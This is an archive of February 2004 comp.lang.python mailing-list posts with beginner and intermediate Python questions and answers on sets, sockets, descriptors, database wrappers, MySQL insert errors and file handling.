No language is a panacea, indeed.  Python comes remarkably close,
though.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From pinard at iro.umontreal.ca  Wed Feb 11 18:57:15 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Wed, 11 Feb 2004 18:57:15 -0500
Subject: sets and subsets
In-Reply-To: <c0e9uu$41u$00$1@news.t-online.com>
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <c0e8g4$4fi$03$1@news.t-online.com>
	<c0e8sa$7gs$1@solaris.cc.vt.edu>
	<c0e9uu$41u$00$1@news.t-online.com>
Message-ID: <20040211235715.GA31023@alcyon.progiciels-bpi.ca>

[Peter Otten]

> (untested)
> from sets import set

> inputFile = file('ips.txt', 'r') #Super-set
> include = Set(inputFile.readlines())
> inputFile.close()

> readFile = file('excluded_ips.txt', 'r') #Sub-set to exclude
> exclude = Set(readFile.readlines())
> readFile.close()

> # No Magic of Elaine

> outputFile = file('pruned_ips.txt' , 'w')
> for i in include - exclude:
>     print >> outputFile, i,
> outputFile.close()

Here is an equivalent, shorter algorithm (tested):

from sets import Set
file('pruned_ips.txt', 'w').writelines(
        Set(file('ips.txt')) - Set(file('excluded_ips.txt')))

This code relies on `writelines' accepting an iterable, sets returning
their members whenever iterated, Set constructors accepting an iterable,
and files returning their lines whenever iterated.  And of course, on
`close' rarely being needed in Python! :-)

The order of lines in the produced file is kind of random, however.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 11 18:16:38 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 12 Feb 2004 10:06:38 +1050
Subject: Executing a file remotely
References: <731fc603.0402111520.717e763c@posting.google.com>
Message-ID: <slrnc2lf46.16j.bignose-hates-spam@rose.localdomain.fake>

On 11 Feb 2004 15:20:41 -0800, Hank wrote:
> I was wondering how I would execute a file remotely?

That depends on how you'd execute any command on a remote machine.  On
Unix systems, the preferred way these days is to use ssh:

    bignose at desktop$ ssh bignose at remoteserver 'command -with -args'

Assuming the 'ssh' command is available on the local machine, you could
execute the above command within the Python script using os.system():

    <http://www.python.org/doc/1.5.2p2/lib/os-process.html>

-- 
 \        "I washed a sock. Then I put it in the dryer. When I took it |
  `\                              out, it was gone."  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From tjreedy at udel.edu  Fri Feb 27 15:09:53 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 27 Feb 2004 15:09:53 -0500
Subject: comp.lang.python
References: <403FA011.3030600@attglobal.net>
Message-ID: <c1o86h$po9$1@sea.gmane.org>


"Marcello Pietrobon" <teiffel at attglobal.net> wrote in message
news:403FA011.3030600 at attglobal.net...
> Is the server comp.lang.python working or not ?
>
> If yes,
> what settings do I need in order to see this mailing list in newsgroup
> form ?

I am not sure what you are asking.  The c.l.p newsgroup should be carried
on any general-purpose news server.  The mailing list version is also gated
to newsgroup form (along with numerous otherwise non-newsgroup lists) at
news.gmane.org (access is free).

Terry J. Reedy






From eddie at holyrood.ed.ac.uk  Wed Feb 18 14:17:31 2004
From: eddie at holyrood.ed.ac.uk (Eddie Corns)
Date: Wed, 18 Feb 2004 19:17:31 +0000 (UTC)
Subject: socket send query
References: <69fe7511.0402181012.3187517f@posting.google.com>
Message-ID: <c10dob$epc$1@scotsman.ed.ac.uk>

sb at networkdata.co.uk (connections  cardiff) writes:

>hi all,

>i want to mimic what another software program sends to a server.

>if i look with a sniffer i can see the hex data that is being sent by
>the real software program.

>how can i send such data?

>if i send the hex data values with a socket send then python assumes i
>am trying to send a string of ascii characters and when i look at what
>was sent in the sniffer i see the data i sent has been coverted into
>their corresponding hex values.  I want python to leave it alone and
>send it.

>i guess if my hex values had acsii equivalents i could send them and
>they would be converted to the data i want but i dont think all my hex
>data has acsii equivalents..

>is there another way i should be doing this?

>PS.  IN CASE YOU DIDNT NOTICE I AM A NEWBIE!

>many thanks

This is one of the few instances where it's easier to do on Windows than
Unix.  Do a google on "winpcap python" and see if you can find anything that
looks useful (there are quite a few).  You should also be able to find
packages that do this, eg excalibur (IIRC) allows you to interactively create
packets (but it runs like a dog:().  Googling on "winpcap" will give you lots
of links.

Eddie



From bob at redivi.com  Sun Feb 29 13:02:54 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 13:02:54 -0500
Subject: emulate a key press
References: <c1t56d$1hl$1@solaris.cc.vt.edu>
Message-ID: <200402291302548930%bob@redivicom>

On 2004-02-29 11:51:54 -0500, Bart Nessux <bart_nessux at hotmail.com> said:

> This probaly isn't possible with Python, but I thought I'd ask.
> 
> I want to emulate a key press programatically. I want the computer (G5
> running Mac OSX 10.3) to think that the user has pressed the space bar on
> the keyboard. Any module in Python that makes this easy? If not, I'll do
> something in C.

I'm pretty sure you'll have to do that in C, I don't believe the API is 
wrapped.  An even easier way would be to use Pyrex to create a Python 
extension for what you are trying to do.

-bob



From jcarlson at nospam.uci.edu  Fri Feb  6 12:07:05 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:07:05 -0800
Subject: OT: Recommended news reader?
In-Reply-To: <isik8w50.fsf@python.net>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net>
Message-ID: <c00ho4$inl$1@news.service.uci.edu>

> No, I need imap as well as nntp.

Mozilla Thunderbird has both nntp and imap.  Have you tried it?

  - Josiah


From jacek.generowicz at cern.ch  Fri Feb 27 03:19:04 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 27 Feb 2004 09:19:04 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<m3vflvdo9u.fsf@pc150.maths.bris.ac.uk>
	<tyfk72amei6.fsf@pcepsft001.cern.ch>
	<m3vfluc7ja.fsf@pc150.maths.bris.ac.uk>
Message-ID: <tyfsmgxaq9z.fsf@pcepsft001.cern.ch>

Michael Hudson <mwh at python.net> writes:

> Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> 
> > Michael Hudson <mwh at python.net> writes:
> > 
> > > Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> Ah, ok.  To make it behave like a method, you need to make it a
> descriptor, i.e. implement __get__ (and make everything in sight
> new-style classes, of course).

Yeeees, which is why waaaay upthread I wrote:

> > > > If I were to implement them as instances then I'd have to
> > > > reimplement all the descriptors that take care of turning
> > > > functions into bound or unbound methods.

(although I did misplace the terminology a little, I realize.)

> import types
> 
> class foo(object):
>     pass
> 
> class Callable(object):
>     def __init__(self): # wonder why this is needed:
>         self.__name__ = 'Callable'
>     def __call__(self, ob):
>         return ob
>     def __get__(self, ob, cls=None):
>         return types.UnboundMethodType(self, ob, cls)
>     
> foo.inst = Callable()
> 
> print foo.inst
> print foo().inst()
> 
> (needs 2.3, for 2.2 use new.instancemethod instead).

Aha !

I was doing this stuff way back in 2.2[*], where you get

>>> print foo.inst
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 7, in __get__
TypeError: cannot create 'instance method' instances

but it does indeed work in 2.3. Thanks for pointing that out.

> > Aaah, this thread is an attempt to assimilate me :-)  Now I understand.
> 
> Damn, you noticed.

I'm well on the ball, I am.

Cheers,


[*] Actually, I'm still forced to use 2.2 in production for now.


From __peter__ at web.de  Wed Feb 11 10:38:01 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 16:38:01 +0100
Subject: iterating over a list and printing
References: <c0dhev$2gp$1@solaris.cc.vt.edu>
Message-ID: <c0di8q$259$04$1@news.t-online.com>

Bart Nessux wrote:

> ip_list = []
> inputFile = file('ips.txt', 'r')
> ip_list.append(inputFile.read())

You are reading the entire file in one big string and append it to the list
which will always have one big item.

> inputFile.close()
> for i in ip_list:
>     print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast
> 128.173.123.255 up" %i
> 
> The last line does not work. It prints the first part (/sbin/ifconfig),
> then the entire list of ips, then the second part (netmask 255.255.252.0
> broadcast 128.173.123.255 up). Any ideas on how to fix this? The desired
> results are to print a line for each IP.
> 
> /sbin/ifconfig IP1 netmask 255.255.252.0 broadcast 128.173.123.255 up
> /sbin/ifconfig IP2 netmask 255.255.252.0 broadcast 128.173.123.255 up
> etc...

Assuming the file contains IPs one at a line, either initialize 

ip_list = inputFile.readlines()

or entirely omit the intermediate list:
(untested)

for line in file("ips.txt"):
    print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast 128.173.123.255
up" % line.strip()

strip() removes any leading/trailing whitespace including the newline
character at the end.

Peter


From guettli at thomas-guettler.de  Tue Feb  3 07:19:29 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Tue, 03 Feb 2004 13:19:29 +0100
Subject: More verbose traceback
Message-ID: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>

Hi!

Has someone written a script which
dumps a traceback in a more verbose style?

This should include the information you
see with cgitb. I like this very much.

You see the values of the important variables
in the traceback. I need something like
this, but it should be plain ascii, not html.

 thomas



From jcarlson at nospam.uci.edu  Sun Feb  8 01:40:01 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 22:40:01 -0800
Subject: Hey ...
In-Reply-To: <tKfVb.22043$3YE1.17379@news04.bloor.is.net.cable.rogers.com>
References: <tKfVb.22043$3YE1.17379@news04.bloor.is.net.cable.rogers.com>
Message-ID: <c04loe$f4g$2@news.service.uci.edu>

> I'm a 12-year-old who is majorly into programming... I know a very small 
> bit of C++, a small bit of VB, and a lot of python.

Cool.  It is good to hear you are getting started early.  Good luck to you,

  - Josiah


From aahz at pythoncraft.com  Tue Feb 10 12:04:34 2004
From: aahz at pythoncraft.com (Aahz)
Date: 10 Feb 2004 12:04:34 -0500
Subject: Simple newbie question about parameters handling in functions
	(or am I dump or what?)
References: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
Message-ID: <c0b2v2$b4d$1@panix1.panix.com>

In article <hqbh20d9k80eccav78bbsku8hciftnbiuq at 4ax.com>,
Niki Iv  <niki_iv at abv.bg> wrote:
>
>Well this is my first Python day. I am tampering with functions. I
>read that parameters are passed by-value rather than by-reference. So
>function can change wathever parameters reffers to. My troube (well my
>presonal not understanding comes from this)

http://starship.python.net/crew/mwh/hacks/objectthink.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From na  Mon Feb  9 10:45:54 2004
From: na (ADE)
Date: Mon, 9 Feb 2004 07:45:54 -0800
Subject: Searching
Message-ID: <102fauct3hc3lcc@corp.supernews.com>

Hi I was wondering if one of you could help me out

I would like for this function to be able to find file names as well instead
of printing out every file that ends with a .jpg or .gif extension
but I don't know how to use reg expressions and yes I have been trying to
figure them out for the past day and a half now

    def searchfiles(self):
        filenames = {'jpg': [], 'gif': []}
        path = 'S:/'
        for root, dirs, files in os.walk(path):
            for name in files:
            # This is the part that needs to be changed I just don't know
how to do it
                if name.endswith('.jpg'): # right here this should be what
needs to be changed
                    filenames['jpg'].append(os.path.join(root, name))
                    self.listbox1.insert(END, name)
                elif name.endswith('.gif'): #As well as this
                    filenames['gif'].append(os.path.join(root, name))
                    self.listbox1.insert(END, name)

I should let you know that this is a function attached to a button that
searches my harddrive for files it has an entry field to do the searching
but it prints out every image file I want to limit it the name typed in eg
if I type ocean every file with the name ocean appears





From tjreedy at udel.edu  Fri Feb  6 20:58:14 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 20:58:14 -0500
Subject: Error message <exceptions.TypeError unpack non-sequence>
References: <788bd2d4.0402051459.8a90fec@posting.google.com><bvv2dr$7oa$1@news.service.uci.edu>
	<788bd2d4.0402061352.676d8566@posting.google.com>
Message-ID: <c01gnm$4n2$1@sea.gmane.org>


"ahsan Imam" <ahsan.imam at newtimes.com> wrote in message
news:788bd2d4.0402061352.676d8566 at posting.google.com...
> Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message
news:<bvv2dr$7oa$1 at news.service.uci.edu>...
> > > I am trying to move an application from python 1.5.2 to 2.3. The code
> > > works fine in 1.5.2 but gives the exception (exceptions.TypeError
> > > unpack non-sequence) in python 2.3. I did not write this code so I am
> > > not sure what is happening here.

I do not know of any change in Python that would make code like the below
invalid.  Are you possibly running the program with different input data?
I suggest you insert 'print self.lItems' before the loop to see it *that*
changed (somewhere else in the program).

> > >
> > > Here is the code snippet:
> > >
> > > for (item, agent) in self.lItems:
> > >       lItems.append(interpolate(self._ITEM_FMT, id=str(item)))

self.lItems must contain zero or more (item,agent) *pairs*

> What if there are more than 2 items? How can I do something where
> element 0 and 1 are assigned to (item, agent) and so on?

Yes and no.  You would have to group elements 0 and 1 into a pair, elements
2 and 3 into another (the second), and so on.  There is probably something
in itertools that will do this.  Otherwise, writing your own generator to
do so should be easy enough.  Then write 'for (i,a) in grouper(s.l):' where
grouper is the pair generator.

Terry J. Reedy






From merkosh at hadiko.de  Sun Feb  1 09:44:11 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sun, 01 Feb 2004 15:44:11 +0100
Subject: specify types in method calls
Message-ID: <bvj3bo$4ib$1@news.rz.uni-karlsruhe.de>

Hi,

sometimes I'd like to be able to specify that a parameter to a method call
should be of a specific instance. I can do that using the isinstance()
buildin in the body of the method.

Is there also a way of specifying this in the method definition, i.e.

class A(object):
    def foo( name : B ):
        ...

which then would be equivalent to i.e.

class A(object):
    def foo( name ):
        assert isinstance( name, B )
        ....

Is anything like that already available? Or might that be possible in future
versions of Python?

Ciao
Uwe


From aahz at pythoncraft.com  Mon Feb 16 19:20:29 2004
From: aahz at pythoncraft.com (Aahz)
Date: 16 Feb 2004 19:20:29 -0500
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
Message-ID: <c0rmod$gso$1@panix3.panix.com>

In article <40315037$0$199$75868355 at news.frii.net>,
Stuart McGraw <smcg4191 at frii.RemoveThisToReply.com> wrote:
>
>Class A has a method A.a() that returns an A.  I want a 
>identical class but with an additional property .newprop
>and method .b()  And I want .a() to return a B, not an A.
>
>  class B (A):
>    def __init__(self, *args, **kwds):
>      A.__init__(self, *args, **kwds)
>      self.newprop = 99
>    def a(self):
>      x = A.a(self)    # x is an A
>      x.__class__ = B
>      return x    # I want x to be a B, i.e have b() and .newprop.
>    def b(self):
>      ...something...
>
>Yes, I know this is bogus.  But I am not sure what I should be doing.
>And to correct what I originally posted, A is implented in python
>(but I still can't change it for administrative reasons), but it's
>properties are declared with "__slots__ = [...]" if that makes a
>difference.  This is all in Python 2.3.3.

class A:
    def a(self):
        return self.__class__()
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From jester.dev at comcast.net  Wed Feb 11 20:04:20 2004
From: jester.dev at comcast.net (jester.dev)
Date: Thu, 12 Feb 2004 01:04:20 GMT
Subject: Word count from file help.
Message-ID: <oiAWb.9926$jk2.28236@attbi_s53>

Hello,

        I'm learning Python from Python Bible, and having some
problems with this code below. When I run it, I get nothing. It
should open the file poem.txt (which exists in the current
directory) and count number of times any given word appears
in the text. 

#!/usr/bin/python

    
# WordCount.py - Counts the words in a given text file (poem.txt)

import string

def CountWords(Text):
        "Count how many times each word appears in Text"
        # A string (above) after a def statement is a -
        # "docstring" - a comment intended for documentation.
        WordCount={}
        # We will build up (and return) a dictionary whose keys
        # are the words, and whose values are the corresponding
        # number of occurrences.
        
        CountWords=""
        # To make the job cleaner, add a period at the end of the
        # text; that way, we are guaranteed to be finished with
        # the current word when we run out of letters:
        Text=Text+"."
        
        # We assume that ' and - don't break words, but any other
        # nonalphabetic character does. This assumption isn't
        # entirely accurate, but it's close enough for us.
        # string.letters is a string of all alphabetic charactors.
        PiecesOfWords=string.letters+"'-"
        
        # Iterate over each character in the text. The function
        # len () returns the length of a sequence.
        for CharacterIndex in range(0,len(Text)):
                CurrentCharacter=Text[CharacterIndex]
                
                # The find() method of a string finds the starting
                # index of the first occurrence of a substring within
                # a string, or returns -1 of it doesn't find a substring.
                # The next line of code tests to see wether CurrentCharacter
                # is part of a word:
                if(PiecesOfWords.find(CurrentCharacter)!=-1):
                        # Append this letter to the current word.
                        CurrentWord=CurrentWord+CurrentCharacter
                else:
                        # This character is no a letter.
                                if(CurrentWord!=""):
                                        # We just finished a word.
                                        # Convert to lowercase, so "The" and
"the"
                                        # fall in the same bucket...
                                       
CurrentWord=string.lower(CurrentWord)
                                        
                                        # Now increment this word's count.
                                       
CurrentCount=WordCount.get(CurrentWord,0)
                                       
WordCount[CurrentWord]=CurrentCount+1
                                        
                                        # Start a new word.
                                        CurrentWord=""
                                        return(WordCount)
                                if (__name__=="__main__"):
                                        # Read the text from the file
peom.txt.
                                        TextFile=open("poem.txt","r")
                                        Text=TextFile.read()
                                        TextFile.close()
                                        
                                        # Count the words in the text.
                                        WordCount=CountWords(Text)
                                        # Alphabetize the word list, and
print them all out.
                                        SortedWords=WordCount.keys()
                                        SortedWords.sort()
                                        for Word in SortedWords:
                                                print Word.WordCount[Word]


From slackgg at 163.com  Sun Feb 29 21:23:27 2004
From: slackgg at 163.com (slackgg at 163.com)
Date: 29 Feb 2004 18:23:27 -0800
Subject: About cx_Oracle..
Message-ID: <a48d7271.0402291823.5aad6533@posting.google.com>

HI all:
  How to use cx_Oracle under the Oracle9i?


From mcfletch at rogers.com  Mon Feb  2 22:15:52 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 02 Feb 2004 22:15:52 -0500
Subject: Seeking Python->mySQL OR module
In-Reply-To: <opr2rs00sjthr2dr@news.orcon.net.nz>
References: <opr2rs00sjthr2dr@news.orcon.net.nz>
Message-ID: <401F1268.2070304@rogers.com>

aum wrote:

> Hi,
>
> I'm looking for an object-relational layer, which can wrap a MySQL 
> database into highly pythonic objects.
>
> There seem to be dozens of packages which provide some of this 
> functionality, but all the ones I've looked at so far have major 
> drawbacks.

I'm going to assume you haven't looked at my PyTable RDBMS Wrapper.  I 
know it's shamelessly self-promoting, but hey, what's life with shame, 
really.  Point-by-point below...

> What I'm looking for in an object-relational wrapper layer is:
>
> 1) Pure python

Check.

> 2) Talks to standard MySQLdb python module

Check.  Also PostgreSQL, which is where my day-to-day work is done.

> 3) No need for third-party modules (apart from standard python modules)

Not a check, but the only other package required is my BasicProperty 
pure-python package, so IMO not a huge problem.

> 3) Can access *existing* tables on *existing* databases, without me 
> needing to
>    create python classes which define the columns

Check.

> 4) Can query existing databases to get table names, and open those tables

Check.  Normally you don't "open" tables, you open connections to the 
database(s) and then query the connection to the database for the tables 
(and their contents).

> 5) On opening the tables, can get a list of column names

Check, though this support is more mature on PostgreSQL, and honestly I 
don't use it myself.  On MySQL the query is pretty darn trivial... more 
work for me on PostgreSQL, but really, not a huge deal there once you 
learn about psql's "echo" flag.

> 6) Makes tables available as python objects

Yes, tables are described as Schema objects.  Rows are DBRow objects.

> 7) Elegant pythonic interface to these objects

Check IMO.  Objects support regular x.y access for field values, fields 
can be told to use particular classes for wrapping values via the table 
schema, DBRows have methods for doing insert/update/refresh/delete 
queries that use the tracked changes to the object to determine what to 
actually send to the database.

The system does not, however, do automatic reference lookup or the like 
(it lets you include the information in the schema you provide to let 
you code such things, however).  i.e.  object.location_id doesn't 
automagically get resolved via a background query to a location object, 
you have to do that query yourself.  Of course, if you need that, it's 
pretty trivial to add the functionality, just override the property for 
that field.

As with all things, there are some general principles by which one can 
judge beauty in interface but the differences between any two 
individuals response to the stimuli will outweigh the commonalities that 
can be found.  There is no artifice which can serve all purposes.

> 8) No requirement to use SQL statements, but the ability to do so if 
> desired

No check.  SQL statements are required to get rows from the tables.  i.e.

    schema = findTable( 'person' )
    item = schema.itemClass( login = 'test', password='this' )
    item.insertQuery( APPLICATION.getDBConnection())
    item.fname = 'Bill'
    item.updateQuery( APPLICATION.getDBConnection())
    item.refreshQuery( APPLICATION.getDBConnection())
    item.deleteQuery( APPLICATION.getDBConnection())

can all be done without SQL, but to access rows of the table you need to 
do something akin to:

    for person in schema.query( """SELECT * FROM person WHERE fname LIKE
    'M%';""" ):
        print person.login, person.fname, person.lname

There may be some better way to determining what rows to load from an 
SQL database, but I find the SQL queries work pretty well at this level 
of interface.  Anything higher-level and you start needing to restrict 
the user markedly.

> Any suggestions?

Give in to the idea that there is no perfect object-relational mapper :) 
.  There is a high impedance mismatch between the two domains, so that 
as you make any given aspect of an interface more natural you tend to 
make other aspects less natural and/or more difficult to work around.  
Decide which aspects are most important and go with whichever mapper 
works most closely to that which accomplishes your ends (which appears 
to be what you're doing). 

Your particular requirements seem fairly close, IMO, to my own, so seems 
like PyTable might be for you, but then I have an obvious interest in 
conquering this cold cruel world (I'm in Canada :) ) and bringing to it 
the light of my relational database wrapper ;) .

    http://pytable.sourceforge.net/

Good luck in your search,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From FBatista at uniFON.com.ar  Tue Feb 17 13:12:47 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 17 Feb 2004 15:12:47 -0300
Subject: Inconsistent behavior of split on empty string
Message-ID: <A128D751272CD411BC9200508BC2194D03383616@escpl.tcp.com.ar>

bk_kl at gmx.de wrote:

#- I think the following behavior of the build in function 
#- 'split' is inconsistent.
#- What do you think?
#- 
#- >>> "".split()
#- []
#- >>> "".split(";")
#- ['']

Don't know if it's inconsistent, but at least it's not explicited in the
Library Reference:

split([sep [,maxsplit ] ])
	
	Return a list of the words in the string, using sep as the delimiter
string. If maxsplit is given, at most maxsplit
	splits are done. If sep is not specified or None, any whitespace
string is a separator.


.	Facundo



From http  Fri Feb 27 03:55:58 2004
From: http (Paul Rubin)
Date: 27 Feb 2004 00:55:58 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402261830.7e803327@posting.google.com>
Message-ID: <7x1xogvr35.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> There's no path validation or cert creation.  My view is that certs
> are a disaster, and I'm doing users a *favor* by keeping them at arm's
> length :-).  Fingerprints are easier to use, so that's what the
> library encourages.

But it means you need a separate fingerprint for each person you talk
to.  If you're going to do that, you may as well just use shared
symmetric keys and not mess with TLS.

> Anyways, I don't plan to add more X.509 support.  If someone else
> wants to, it is open-source...

Yeah, that's what I mean about it being a lot of work to do the full
stack.  It's great that you've provided this starting point though.


From jsbenson at bensonsystems.com  Tue Feb  3 19:50:45 2004
From: jsbenson at bensonsystems.com (John Benson)
Date: Tue, 3 Feb 2004 16:50:45 -0800
Subject: relational<-->XML translation: a Python specialty absorbed by a
	database?
Message-ID: <004801c3eab8$eccfa8a0$210110ac@jsbwxp3>

Hi, I've been looking at the "Oracle9 i Database New Features" guide, from
which I quote:

XML Generation
In response to the challenge of generating XML in bulk from a database, XML
generation capabilities have been moved into the database and application
server
kernels and made available as built-in SQL operators. The kernel proximity
of these
operators ensures massively sustainable throughputs, enough for the largest
content repositories or the busiest exchanges.

(end quote)

I've been quaffing the XML kool-aid recently and imagining that scripting
languages like Python would be key in moving data between relational
databases and the Web by doing XML translation. From the preceding quote, it
would appear that databases might be appropriating this task to some extent.

It's pretty obvious a few XML operators added to SQL (or SQL*Plus, in the
case of Oracle) may not seriously challenge the expressiveness of Python or
Java, but they may tend to shape XML requirements in the direction of
simplicity so that the maximum can be done by the database itself.

Comments?





From tuglyraisin at aol.commcast  Sun Feb  1 21:59:42 2004
From: tuglyraisin at aol.commcast (Andrew Burton)
Date: 02 Feb 2004 02:59:42 GMT
Subject: Interactive Shell?
Message-ID: <20040201215942.28384.00001169@mb-m15.aol.com>

Allow me a paragraph or two to apply a context to the question I want to ask
here.

Many moons past, when I got "Learning Python" from O'Reilly and first tried to
learn Python, I saw what I know see whenever I open Python up, the infamous >>>
prompt. At the time, it confused me, and I shelved the book. Fewer moons past,
as I fell into a hobby of reading Lisp web pages and lurking in comp.lang.lisp,
I almost started a flame war when I asked about commandline arguments in Lisp.
It took about a week of reading, replying, and sniping before I understood the
fact that Lisp, ideally, was run from an interactive shell. Such a concept was
a complete paradigm shift from my Perl, C, and Visual Basic experiences that I
had no frame of reference for it.

So, skipping ahead to late last year and this year, after a few months of Lisp
and a smattering of Cobol (learning about the importance of indentation), I've
come back to try and learn Python. Now that I am back (have arrived), having
learned what I have from Lisp, I understand the >>> prompt in "Learning Python"
and I have fun using the interactive shell, playing with strings and functions.

However, in the interest of understanding Python, making sure I grasp the
mindset of it, I wanted to ask a couple of general questions. They are general,
and I know there's no "one true answer" for them. The idea is just to get some
answers to offer me a perspective on ways to view Python. All answers and posts
are appreciated greatly. Anyway, here it is...

Which is the best was to use Python: from the interactive shell, as a scripting
language, or as the Python.h library with C? Is the interactive shell there for
anything beyond prototyping code?

Andrew Burton - tuglyraisin at aol dot com
Felecia Station on Harvestgain - http://www.darkbeast.com/
(setq line "I will not tie up my muse.")
(defun punish (x) (if (> x 0) (progn (format t "~A~%" line) (punish (- x 1)))))
(punish 500)


From ketulp_baroda at yahoo.com  Wed Feb 25 00:39:20 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 24 Feb 2004 21:39:20 -0800
Subject: error in inserting a long blob data
Message-ID: <f046efac.0402242139.14fd27fc@posting.google.com>

Hi
I am storing the attachment in the database. For some file the data
gets stored in the database but for other files it gives a MySql
error. For eg. when I am trying to attach the file foo.txtit gets
stored in database correctly whereas the file bar.txt gives an error.
The error given is:


Traceback (most recent call last):
  File "fakeloginserver.py", line 567, in _doRequest
    _handleRequest(_wfile)
  File "fakeloginserver.py", line 812, in _handleRequest
    response.body=_theMethod(**(request.paramMap))
  File "fakeloginserver.py", line 92, in invokeAddAttachment
    add.addAttachment(v,filename,values)
  File "C:\Python23\Lib\site-packages\cherrypy\code\Attachment_Model.py",
line 26, in addAttachment
    n=cursor.execute("insert into attachments
values('%s','%s','%s','%s','%s','%s','%s','%s','%s')"
%(Attachment_Model.projectid[0],values['issueid'],attachID,datetime,values['attachmentdescription'],contenttype,filename,values['attachmentpath'],submitterID))
  File "C:\PYTHON23\Lib\site-packages\MySQLdb\cursors.py", line 95, in
execute
    return self._execute(query, args)
  File "C:\PYTHON23\Lib\site-packages\MySQLdb\cursors.py", line 114,
in _execute
    self.errorhandler(self, exc, value)
  File "C:\PYTHON23\Lib\site-packages\MySQLdb\connections.py", line
33, in defaulterrorhandler
    raise errorclass, errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax.  Check
the manual that corresponds to your MySQL server version for the right
syntax to use near 're just getting started with CherryPy, read the
tutorial (in do")


values['attachmentpath'] contains the file data.
The data type of the file data is LONGBLOB in MySql.
I am not getting why it works for some file but not for others.


From crescent_au at yahoo.com  Sun Feb  8 21:39:45 2004
From: crescent_au at yahoo.com (Ben)
Date: 8 Feb 2004 18:39:45 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
	<c03its$emc$1@news.service.uci.edu>
	<d99e1341.0402080236.79d3d939@posting.google.com>
	<6ee58e07.0402080829.25ed5799@posting.google.com>
Message-ID: <d99e1341.0402081839.5eca0113@posting.google.com>

llothar at web.de (Lothar Scholz) wrote in message news:<6ee58e07.0402080829.25ed5799 at posting.google.com>...
> crescent_au at yahoo.com (Ben) wrote in message news:<d99e1341.0402080236.79d3d939 at posting.google.com>...
> > Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c03its$emc$1 at news.service.uci.edu>...
> > > 
> > > If you know Dreamweaver, Python, Java, JavaScript, and CGI using Python, 
> > > C, and C++, and you /don't know/ how/where to get started on your 
> > > project...that is some serious indecision.  Pick your favorite language, 
> > > and write your app.
> > 
> > to this as "serious indecision", then so be it! I got nothing to
> > say....
> 
> Then maybe the first thing that you shouldn't say is that you now
> Python,Java,JavaScript, C, C++ if the only thing you know is the names
> of this languages.
> 
> Sorry but this is some kind of fucking marketing rhetorik. If you
> really now at least one of them your postings would be much different.
> Nobody has a problem with newbies here, but the people who say they
> know a lot but don't do it in reality are not very welcome - nowhere.

Yeah, then there can't be any communication :) That would save a lot
of time of people who know but are not quite ready to share their
knowledge with people... No one is forcing anyone to reply... Talking
about reality- the reality I saw can be entirely different from
reality seen by Mr. A and Mr. B.. There is no such thing like reality
that fits into everybody's lives. Reality is much bigger than Python,
